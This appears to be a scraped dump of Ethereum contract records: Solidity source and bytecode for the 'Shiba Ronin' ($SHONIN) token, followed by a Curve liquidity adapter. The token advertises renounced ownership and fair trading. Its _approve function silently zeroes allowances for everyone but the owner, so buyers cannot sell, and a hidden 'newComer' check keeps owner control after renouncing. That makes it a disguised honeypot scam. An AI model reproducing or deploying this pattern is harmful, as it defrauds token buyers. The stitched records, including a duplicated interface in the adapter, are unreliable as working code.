/* A rōnin was a samurai warrior in feudal Japan without a master or lord — known as a daimyo. A samurai could become a ronin in several different ways: his master might die or fall from power or the samurai might lose his master's favor or patronage and be cast off. $SHONIN serves no one and has no master. It is the exile that revels in its own solitude and stands for nothing but itself. Tokenomics 10,000,000 $SHONIN 13% Buy tax 17% Sell tax first hour, 13% thereafter Safunomics No team tokens Locked & renounced Anti-bot (block 0-1 automatically blacklisted) Twitter: https://twitter.com/shiba_ronin Website: https://shibaronin.com TG: https://t.me/shibaronin */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ShibaRonin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**6* 10**18; string private _name = 'Shiba Ronin ' ; string private _symbol = 'SHONIN ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203596a66bc6d2fefe7c9c2d0300ede2af542bce14cc37b543e850bbb260e9946d64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,557
0xf8119feb6ff6f27083332f9282b7176fde49d182
pragma solidity 0.7.3; pragma experimental ABIEncoderV2; struct PoolInfo { address swap; // stableswap contract address. address deposit; // deposit contract address. uint256 totalCoins; // Number of coins used in stableswap contract. string name; // Pool name ("... Pool"). } struct FullTokenBalance { TokenBalanceMeta base; TokenBalanceMeta[] underlying; } struct TokenBalanceMeta { TokenBalance tokenBalance; ERC20Metadata erc20metadata; } struct ERC20Metadata { string name; string symbol; uint8 decimals; } struct AdapterBalance { bytes32 protocolAdapterName; TokenBalance[] tokenBalances; } struct TokenBalance { address token; int256 amount; } struct Component { address token; int256 rate; } struct TransactionData { Action[] actions; TokenAmount[] inputs; Fee fee; AbsoluteTokenAmount[] requiredOutputs; uint256 salt; } struct Action { bytes32 protocolAdapterName; ActionType actionType; TokenAmount[] tokenAmounts; bytes data; } struct TokenAmount { address token; uint256 amount; AmountType amountType; } struct Fee { uint256 share; address beneficiary; } struct AbsoluteTokenAmount { address token; uint256 amount; } enum ActionType { None, Deposit, Withdraw } enum AmountType { None, Relative, Absolute } abstract contract ProtocolAdapter { /** * @dev MUST return amount and type of the given token * locked on the protocol by the given account. */ function getBalance(address token, address account) public virtual returns (int256); } abstract contract Ownable { modifier onlyOwner { require(msg.sender == owner_, "O: only owner"); _; } modifier onlyPendingOwner { require(msg.sender == pendingOwner_, "O: only pending owner"); _; } address private owner_; address private pendingOwner_; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @notice Initializes owner variable with msg.sender address. */ constructor() { owner_ = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @notice Sets pending owner to the desired address. * The function is callable only by the owner. */ function proposeOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "O: empty newOwner"); require(newOwner != owner_, "O: equal to owner_"); require(newOwner != pendingOwner_, "O: equal to pendingOwner_"); pendingOwner_ = newOwner; } /** * @notice Transfers ownership to the pending owner. * The function is callable only by the pending owner. */ function acceptOwnership() external onlyPendingOwner { emit OwnershipTransferred(owner_, msg.sender); owner_ = msg.sender; delete pendingOwner_; } /** * @return Owner of the contract. */ function owner() external view returns (address) { return owner_; } /** * @return Pending owner of the contract. */ function pendingOwner() external view returns (address) { return pendingOwner_; } } abstract contract InteractiveAdapter is ProtocolAdapter { uint256 internal constant DELIMITER = 1e18; address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @dev The function must deposit assets to the protocol. * @return MUST return assets to be sent back to the `msg.sender`. */ function deposit(TokenAmount[] calldata tokenAmounts, bytes calldata data) external payable virtual returns (address[] memory); /** * @dev The function must withdraw assets from the protocol. * @return MUST return assets to be sent back to the `msg.sender`. */ function withdraw(TokenAmount[] calldata tokenAmounts, bytes calldata data) external payable virtual returns (address[] memory); function getAbsoluteAmountDeposit(TokenAmount calldata tokenAmount) internal view virtual returns (uint256) { address token = tokenAmount.token; uint256 amount = tokenAmount.amount; AmountType amountType = tokenAmount.amountType; require( amountType == AmountType.Relative || amountType == AmountType.Absolute, "IA: bad amount type" ); if (amountType == AmountType.Relative) { require(amount <= DELIMITER, "IA: bad amount"); uint256 balance; if (token == ETH) { balance = address(this).balance; } else { balance = ERC20(token).balanceOf(address(this)); } if (amount == DELIMITER) { return balance; } else { return mul(balance, amount) / DELIMITER; } } else { return amount; } } function getAbsoluteAmountWithdraw(TokenAmount calldata tokenAmount) internal virtual returns (uint256) { address token = tokenAmount.token; uint256 amount = tokenAmount.amount; AmountType amountType = tokenAmount.amountType; require( amountType == AmountType.Relative || amountType == AmountType.Absolute, "IA: bad amount type" ); if (amountType == AmountType.Relative) { require(amount <= DELIMITER, "IA: bad amount"); int256 balanceSigned = getBalance(token, address(this)); uint256 balance = balanceSigned > 0 ? uint256(balanceSigned) : uint256(-balanceSigned); if (amount == DELIMITER) { return balance; } else { return mul(balance, amount) / DELIMITER; } } else { return amount; } } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "IA: mul overflow"); return c; } } interface Deposit { function add_liquidity(uint256[2] calldata, uint256) external; function add_liquidity(uint256[3] calldata, uint256) external; function add_liquidity(uint256[4] calldata, uint256) external; function remove_liquidity_one_coin( uint256, int128, uint256 ) external; } interface Deposit { /* solhint-disable func-name-mixedcase */ function add_liquidity(uint256[2] calldata, uint256) external; function add_liquidity(uint256[3] calldata, uint256) external; function add_liquidity(uint256[4] calldata, uint256) external; function remove_liquidity_one_coin( uint256, int128, uint256 ) external; /* solhint-enable func-name-mixedcase */ } interface Stableswap { /* solhint-disable-next-line func-name-mixedcase */ function exchange_underlying( int128, int128, uint256, uint256 ) external; function exchange( int128, int128, uint256, uint256 ) external; function coins(int128) external view returns (address); function coins(uint256) external view returns (address); function balances(int128) external view returns (uint256); function balances(uint256) external view returns (uint256); } interface ERC20 { function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); } library SafeERC20 { function safeTransfer( ERC20 token, address to, uint256 value, string memory location ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value), "transfer", location ); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value, string memory location ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value), "transferFrom", location ); } function safeApprove( ERC20 token, address spender, uint256 value, string memory location ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), string(abi.encodePacked("SafeERC20: bad approve call from ", location)) ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value), "approve", location ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), * relaxing the requirement on the return value: the return value is optional * (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). * @param location Location of the call (for debug). */ function callOptionalReturn( ERC20 token, bytes memory data, string memory functionName, string memory location ) private { // We need to perform a low level call here, to bypass Solidity's return data size checking // mechanism, since we're implementing it ourselves. // We implement two-steps call as callee is a contract is a responsibility of a caller. // 1. The call itself is made, and success asserted // 2. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require( success, string(abi.encodePacked("SafeERC20: ", functionName, " failed in ", location)) ); if (returndata.length > 0) { // Return data is optional require( abi.decode(returndata, (bool)), string( abi.encodePacked("SafeERC20: ", functionName, " returned false in ", location) ) ); } } } contract ERC20ProtocolAdapter is ProtocolAdapter { /** * @return Amount of tokens held by the given account. * @dev Implementation of ProtocolAdapter abstract contract function. */ function getBalance(address token, address account) public view override returns (int256) { return int256(ERC20(token).balanceOf(account)); } } contract CurveRegistry is Ownable { mapping(address => PoolInfo) internal poolInfo_; function setPoolsInfo(address[] memory tokens, PoolInfo[] memory poolsInfo) external onlyOwner { uint256 length = tokens.length; for (uint256 i = 0; i < length; i++) { setPoolInfo(tokens[i], poolsInfo[i]); } } function getPoolInfo(address token) external view returns (PoolInfo memory) { return poolInfo_[token]; } function setPoolInfo(address token, PoolInfo memory poolInfo) internal { poolInfo_[token] = poolInfo; } } contract CurveAssetInteractiveAdapter is InteractiveAdapter, ERC20ProtocolAdapter { using SafeERC20 for ERC20; address internal constant REGISTRY = 0x3fb5Cd4b0603C3D5828D3b5658B10C9CB81aa922; /** * @notice Deposits tokens to the Curve pool (pair). * @param tokenAmounts Array with one element - TokenAmount struct with * underlying token address, underlying token amount to be deposited, and amount type. * @param data ABI-encoded additional parameters: * - crvToken - curve token address. * @return tokensToBeWithdrawn Array with tokens sent back. * @dev Implementation of InteractiveAdapter function. */ function deposit(TokenAmount[] calldata tokenAmounts, bytes calldata data) external payable override returns (address[] memory tokensToBeWithdrawn) { require(tokenAmounts.length == 1, "CLIA: should be 1 tokenAmount[1]"); address token = tokenAmounts[0].token; uint256 amount = getAbsoluteAmountDeposit(tokenAmounts[0]); (address crvToken, uint256 tokenIndex) = abi.decode(data, (address, uint256)); tokensToBeWithdrawn = new address[](1); tokensToBeWithdrawn[0] = crvToken; PoolInfo memory poolInfo = CurveRegistry(REGISTRY).getPoolInfo(crvToken); uint256 totalCoins = poolInfo.totalCoins; address callee = poolInfo.deposit; uint256[] memory inputAmounts = new uint256[](totalCoins); for (uint256 i = 0; i < totalCoins; i++) { inputAmounts[i] = i == uint256(tokenIndex) ? amount : 0; } uint256 allowance = ERC20(token).allowance(address(this), callee); if (allowance < amount) { if (allowance > 0) { ERC20(token).safeApprove(callee, 0, "CLIA[1]"); } ERC20(token).safeApprove(callee, type(uint256).max, "CLIA[2]"); } if (totalCoins == 2) { // solhint-disable-next-line no-empty-blocks try Deposit(callee).add_liquidity([inputAmounts[0], inputAmounts[1]], 0) {} catch { revert("CLIA: deposit fail[1]"); } } else if (totalCoins == 3) { try Deposit(callee).add_liquidity( [inputAmounts[0], inputAmounts[1], inputAmounts[2]], 0 ) // solhint-disable-next-line no-empty-blocks { } catch { revert("CLIA: deposit fail[2]"); } } else if (totalCoins == 4) { try Deposit(callee).add_liquidity( [inputAmounts[0], inputAmounts[1], inputAmounts[2], inputAmounts[3]], 0 ) // solhint-disable-next-line no-empty-blocks { } catch { revert("CLIA: deposit fail[3]"); } } } /** * @notice Withdraws tokens from the Curve pool. * @param tokenAmounts Array with one element - TokenAmount struct with * Curve token address, Curve token amount to be redeemed, and amount type. * @param data ABI-encoded additional parameters: * - toToken - destination token address (one of those used in pool). * @return tokensToBeWithdrawn Array with one element - destination token address. * @dev Implementation of InteractiveAdapter function. */ function withdraw(TokenAmount[] calldata tokenAmounts, bytes calldata data) external payable override returns (address[] memory tokensToBeWithdrawn) { require(tokenAmounts.length == 1, "CLIA: should be 1 tokenAmount[2]"); address token = tokenAmounts[0].token; uint256 amount = getAbsoluteAmountWithdraw(tokenAmounts[0]); (address toToken, int128 tokenIndex) = abi.decode(data, (address, int128)); tokensToBeWithdrawn = new address[](1); tokensToBeWithdrawn[0] = toToken; PoolInfo memory poolInfo = CurveRegistry(REGISTRY).getPoolInfo(token); address callee = poolInfo.deposit; uint256 allowance = ERC20(token).allowance(address(this), callee); if (allowance < amount) { if (allowance > 0) { ERC20(token).safeApprove(callee, 0, "CLIA[3]"); } ERC20(token).safeApprove(callee, type(uint256).max, "CLIA[4]"); } // solhint-disable-next-line no-empty-blocks try Deposit(callee).remove_liquidity_one_coin(amount, tokenIndex, 0) {} catch { revert("CLIA: withdraw fail"); } } }
0x6080604052600436106100345760003560e01c806328ffb83d14610039578063387b817414610062578063d4fac45d14610075575b600080fd5b61004c610047366004611487565b6100a2565b604051610059919061183a565b60405180910390f35b61004c610070366004611487565b610796565b34801561008157600080fd5b5061009561009036600461145a565b610bb8565b604051610059919061193c565b6060600184146100e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611ade565b60405180910390fd5b6000858560008181106100f657fe5b61010c92602060609092020190810191506113d5565b9050600061012b8787600081811061012057fe5b905060600201610c66565b905060008061013c8688018861142f565b60408051600180825281830190925292945090925060208083019080368337019050509450818560008151811061016f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506101b1611319565b6040517f06bfa938000000000000000000000000000000000000000000000000000000008152733fb5cd4b0603c3d5828d3b5658b10c9cb81aa922906306bfa938906102019086906004016117cc565b60006040518083038186803b15801561021957600080fd5b505afa15801561022d573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526102739190810190611582565b604081015160208201519192509060608267ffffffffffffffff8111801561029a57600080fd5b506040519080825280602002602001820160405280156102c4578160200160208202803683370190505b50905060005b83811015610301578581146102e05760006102e2565b875b8282815181106102ee57fe5b60209081029190910101526001016102ca565b506040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff8a169063dd62ed3e9061035990309087906004016117ed565b60206040518083038186803b15801561037157600080fd5b505afa158015610385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a9919061162b565b90508781101561048c5780156104135760408051808201909152600781527f434c49415b315d0000000000000000000000000000000000000000000000000060208201526104139073ffffffffffffffffffffffffffffffffffffffff8b16908590600090610e72565b60408051808201909152600781527f434c49415b325d00000000000000000000000000000000000000000000000000602082015261048c9073ffffffffffffffffffffffffffffffffffffffff8b169085907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90610e72565b8360021415610573578273ffffffffffffffffffffffffffffffffffffffff16630b4c7e4d6040518060400160405280856000815181106104c957fe5b60200260200101518152602001856001815181106104e357fe5b602002602001015181525060006040518363ffffffff1660e01b815260040161050d929190611894565b600060405180830381600087803b15801561052757600080fd5b505af1925050508015610538575060015b61056e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611b13565b610785565b836003141561066f578273ffffffffffffffffffffffffffffffffffffffff16634515cef36040518060600160405280856000815181106105b057fe5b60200260200101518152602001856001815181106105ca57fe5b60200260200101518152602001856002815181106105e457fe5b602002602001015181525060006040518363ffffffff1660e01b815260040161060e9291906118cc565b600060405180830381600087803b15801561062857600080fd5b505af1925050508015610639575060015b61056e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611996565b8360041415610785578273ffffffffffffffffffffffffffffffffffffffff1663029b2f346040518060800160405280856000815181106106ac57fe5b60200260200101518152602001856001815181106106c657fe5b60200260200101518152602001856002815181106106e057fe5b60200260200101518152602001856003815181106106fa57fe5b602002602001015181525060006040518363ffffffff1660e01b8152600401610724929190611904565b600060405180830381600087803b15801561073e57600080fd5b505af192505050801561074f575060015b610785576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de906119cd565b505050505050505050949350505050565b6060600184146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611a72565b6000858560008181106107e157fe5b6107f792602060609092020190810191506113d5565b905060006108168787600081811061080b57fe5b905060600201611037565b9050600080610827868801886113f1565b60408051600180825281830190925292945090925060208083019080368337019050509450818560008151811061085a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061089c611319565b6040517f06bfa938000000000000000000000000000000000000000000000000000000008152733fb5cd4b0603c3d5828d3b5658b10c9cb81aa922906306bfa938906108ec9088906004016117cc565b60006040518083038186803b15801561090457600080fd5b505afa158015610918573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261095e9190810190611582565b60208101516040517fdd62ed3e0000000000000000000000000000000000000000000000000000000081529192509060009073ffffffffffffffffffffffffffffffffffffffff88169063dd62ed3e906109be90309086906004016117ed565b60206040518083038186803b1580156109d657600080fd5b505afa1580156109ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0e919061162b565b905085811015610af1578015610a785760408051808201909152600781527f434c49415b335d000000000000000000000000000000000000000000000000006020820152610a789073ffffffffffffffffffffffffffffffffffffffff8916908490600090610e72565b60408051808201909152600781527f434c49415b345d000000000000000000000000000000000000000000000000006020820152610af19073ffffffffffffffffffffffffffffffffffffffff89169084907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90610e72565b6040517f1a4d01d200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831690631a4d01d290610b489089908890600090600401611b81565b600060405180830381600087803b158015610b6257600080fd5b505af1925050508015610b73575060015b610ba9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611aa7565b50505050505050949350505050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff8416906370a0823190610c0